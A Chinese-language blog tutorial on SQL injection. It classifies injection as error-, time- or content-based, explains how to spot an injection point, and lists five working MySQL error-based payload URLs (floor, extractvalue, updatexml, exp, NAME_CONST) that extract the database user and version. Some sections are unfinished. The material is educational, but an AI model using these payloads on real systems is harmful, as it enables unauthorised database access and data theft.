[原创]浅谈SQL注入
一:目录
1:如何判断SQL 注入
2:获得我们想要的数据的思路
3:绕过防御
二:开始
在开始之前我先谈谈我对SQL 注入的三种分类,看过很多文章,每个人基于不同的原理把SQL注入分为很多类,在这其中,我最赞成的是<SQL注入与防御>中的那种分类方法。上面把SQL注入分为这三类:基于错误,基于时间,基于内容。这同时也是我最赞成的观点。下面的一些叙述都是按照这三个类别来分别叙述的
1:如何判断SQL 注入
判断 是否是注入 总的思路在于参数后面的内容我们是否可以控制
我认为注入分为这三类,那么判断当然也按照这三类的思路。
基于错误:当我们在参数后面加个单引号,例如id=1′ 可能页面会报错,是直接显示出数据库错误的那种报错。那么可能这里就是一个注入点
基于内容:用基于内容的思路来判断,就是看参数后的内容我们是否可控制,当我们用id=1可以获取一个数据页面的时候,我们可以修改一下参数,我们用id=2-1,或者id=0+1(+号需要编码,%2b)~2B..来试一试,看看返回的页面的内容是不是跟我们id=1返回的内容一致,如果返回的内容一致,那么说明id后面的参数我们是可以控制的,那么也说明这是一个注入点
基于
2:获得我们想要数据的思路
基于错误:个人认为基于错误是最简单的,因为他会返回数据库中的错误信息,来让我们省下很多时间,如果可以order by等 ,这些那么就更简单了。
下面提供一些报错语句:
<pre class="brush:python;toolbar:false;">通过floor()报错: http://localhost/index.php?name='+or+(select+1+from(select+count(*),concat(user(),0x7e,floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+%23&pass=1 通过extractvalue()报错: http://localhost/index.php?name='+or+extractvalue(1,concat(user(),0x7e,version()))+%23&pass=1 通过updatexml()报错: http://localhost/index.php?name='+or+updatexml(1,concat(user(),0x7e,version()),1)+%23&pass=1 通过exp()报错: http://localhost/index.php?name='+or+EXP(~(SELECT * from(select user())a))+%23&pass=1 通过NAME_CONST(适用于低版本)报错: http://localhost/index.php?name='+or+(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)+%23&pass=1
注意:上传附件及图片大小不得大于30M。
⚠️ 版权声明:
本博客所有内容(含教程、源码、工具)仅供个人技术学习与研究交流使用,严禁商用、倒卖、二次分发及非法用途。
未经作者书面授权,任何组织或个人不得转载、复制或用于其他平台,违者将追究相关责任。
